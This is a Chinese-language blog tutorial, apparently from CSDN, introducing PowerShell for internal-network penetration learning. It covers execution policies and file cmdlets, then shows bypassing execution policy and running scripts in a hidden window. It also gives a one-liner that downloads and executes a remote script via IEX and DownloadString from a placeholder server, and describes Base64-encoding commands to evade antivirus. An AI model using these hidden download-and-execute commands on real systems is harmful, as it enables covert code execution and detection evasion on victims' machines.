内网渗透学习(二)

命令窗口是打入内网后一定会遇到的,今天学习内网渗透中会遇到而且需要利用的一个命令窗口PowerShell,一起来看看吧。

PowerShell基本介绍

打开方式很简单,可以直接在系统搜索中搜PowerShell或者Win+R搜素PowerShell确定即可

它是Microsoft的新Shell,它将旧的命令提示符(CMD)功能与具有内置系统管理功能的新脚本指令集结合在一起。PowerShell就是一个升级版的cmd命令,cmd命令框能执行的它都能执行,cmd不能执行的它也能执行。

Get-Host 或者 $PSVersionTable 查看PowerShell版本

 

.ps1文件

一个PowerShell脚本根本而言是一个文本文件,它的扩展名就为".ps1"。该脚本可以装入一系列PowerShell命令,每一行为一个命令。

执行策略

Get-ExecutionPolicy 查看当前的执行策略。

一般默认情况下,ExecutionPolicy被设置为Restricted即“不能运行”。

Get-ExecutionPolicy一般有以下几种设置:

Restricted:脚本不能运行。

RemoteSigned:可以运行本地创建的脚本,外来下载的不行。(拥有数字证书签名的除外) 。

AllSigned:仅当脚本由受信任的发布者签名才能运行。

Unrestricted:允许任何脚本运行。

可以使用下面的cmdlet命令设置PowerShell的执行策略。(需要管理员权限)

Set-ExecutionPolicy <Policy name>

如果没开管理员可以回到开始打开的界面

PowerShell大小写并不敏感,可以随意。

运行脚本

如果想要运行一个脚本就得知道脚本的文件名以及其所在路径。例如,想要运行脚本1.ps1,路径为"D:\test\",则输入“D:\test\1.ps1”。

但是如果是在系统目录中,则可以直接 ".\1.ps1" 运行脚本。和linux基本相同。

管道

管道符号( | )将前面命令的输出作为输入给后面命令执行。如,

get-process p* | stop-process

PowerShell的常用命令

文件操作的基本命令

新建目录:New-Item whitecellclub-Item Type Directory。这是书上写的,这个命令是新建文件的,不晓得咋建目录。linux里可以使用mkdir以及md也可以创建。

新建文件:New-Item light.txt-Item Type File

删除目录(也可以删除文本文件):Remove-Item whitecellclub

设置文本内容:Set-Content test.txt-Value "hello,world!"

显示文本内容:Get-Content test.txt

追加内容:Add-Content light.txt-Value "i love you"

清除内容:Clear-Content test.txt

常用的执行命令

输入" help "命令可以显示帮助菜单,如下图,

按Q键退出。

这里有些下面需要用到的参数,在这里进行说明以下。

-ExecutionPolicy  Bypass (-Exec Bypass)绕过执行安全策略
-WindowStyle Hidden (-W Hidden)隐藏窗口
-NonInteractive (-NonI)非交互模式。即PowerShell不为用户提供交互式的提示
-NoProfile  (-NoP)PowerShell控制台不加载当前用户的配置文件
-noexit执行后不退出Shell。
-NoLogo启动不显示版权标志的PowerShell

绕过本地权限并执行

我们正常情况下ExecutionPolicy的权限为Restricted不可运行脚本,而一旦运行就会出现下面的情况。

 但是如果我们用了下面这个命令,

PowerShell.exe -ExecutionPolicy Bypass -File test.ps1

可以看到,虽然是Restricted权限不执行脚本,但是还是绕过执行了,神奇吧。 

绕过本地权限并隐藏执行

      隐藏执行就是在表面上看不出来,但是后台却在执行,加上下面一段就可以

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File 1.ps1

但点击回车以后窗口直接"退出了",看似结束了,对就只是看似。所以我们再打开一个PowerShell,打开PowerShell进程看一下。

 有两个进程了,也就是本身一个还有一个隐藏运行,如果不查阅进程的话谁又能知道背后还有一个在运行,想想就脊背发凉。

下载远程脚本绕过权限并隐藏执行

      这个就没有测试了,格式就是下面这种,在自己的服务器上写一个脚本然后远程下载隐藏执行一起喝成,这是一套组合拳。

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile "IEX(New-Object Net.WebClient).DownloadString('网站/1.ps1')"

利用Base64对PowerShell命令编码

使用Base64PowerShell命令编码的目的是混淆和压缩代码,从而避免脚本中存在的一些特殊字符被杀毒软件查杀。        

这里提一点,就是普通的base64编码工具编码后在PowerShell中无法解码出来,这里需要用一个GitHub上的python脚本https://raw.githubusercontent.com/darkoperator/powershell_scripts/master/ps_encoder.py

把需要的东西放在1.txt文件这种,python文件像下面一样运行就出base64编码

这是服务器中1.ps1的内容。

PowerShell.exe -Exec Bypass -Enc  base64编码

 有服务器的可以自己用自己的服务器测试一下,挺简单的。

参考:powershell常用命令(二)_酒千殇的博客-CSDN博客_powershell常用命令

小心Powershell的位数 - frendguo - 博客园

《内网安全攻防》(徐焱 编写)

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

errorr0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值